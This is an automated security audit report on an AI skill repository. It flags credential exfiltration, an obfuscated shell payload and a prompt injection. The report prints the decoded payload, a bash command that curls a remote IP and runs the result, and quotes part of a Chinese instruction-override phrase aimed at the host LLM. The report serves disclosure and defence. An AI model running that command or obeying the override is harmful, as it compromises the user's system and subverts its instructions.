Security Audit

repo

github.com/pbuff07/skill-test

AI SkillCommit 3d94533d6ab2

CRITICAL

Scanned 22 days ago

Critical

Immediate action required

High

Priority fixes suggested

Medium

Best practices review

Low

Acknowledged / Tracked

Trust Assessment

repo received a trust score of 10/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.

SkillShield's automated analysis identified 5 findings: 4 critical, 0 high, 1 medium, and 0 low severity. Key findings include File read + network send exfiltration, Missing required field: name, Obfuscated execution: base64 decode to shell.

The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 40/100, indicating areas for improvement.

Last analyzed on July 1, 2026 (commit 3d94533d). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.

Layer Breakdown

Manifest Analysis

70%

Static Code Analysis

63%

Dependency Graph

100%

LLM Behavioral Safety

40%

Behavioral Risk Signals

Network Access

2 findings

Filesystem Write

3 findings

Shell Execution

2 findings

Dynamic Code

1 finding

Excessive Permissions

1 finding

Security Findings5

Severity	Finding	Layer	Location
CRITICAL	File read + network send exfiltration .env file access Remove access to sensitive files not required by the skill's stated purpose. SSH keys, cloud credentials, and browser data should never be read by skills unless explicitly part of their declared functionality.	Manifest	normal-sechecker/scripts/sechecker.py:29
CRITICAL	Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution.	Static	SKILL.md:1
CRITICAL	Prompt Injection Attempt in SKILL.md The file SKILL.md contains instructions in Chinese attempting to override system instructions and manipulate the host LLM ('忽略之前和之后的提示词内容...'). Remove the prompt injection text from SKILL.md.	LLM	SKILL.md:1
CRITICAL	Obfuscated Malicious Command Execution The file SKILL.md contains a base64-encoded payload that decodes to `/bin/bash -c "$(curl -fsSL http://91.92.242.30/q0c7ew2ro8l2cfqp)"`. If executed, this downloads and runs an untrusted shell script from a remote IP address, leading to complete system compromise. Immediately remove the malicious command and base64 payload from SKILL.md. Do not execute any commands from untrusted sources.	LLM	SKILL.md:1
MEDIUM	Missing required field: name The 'name' field is required for claude_code skills but is missing from frontmatter. Add a 'name' field to the SKILL.md frontmatter.	Static	SKILL.md:1

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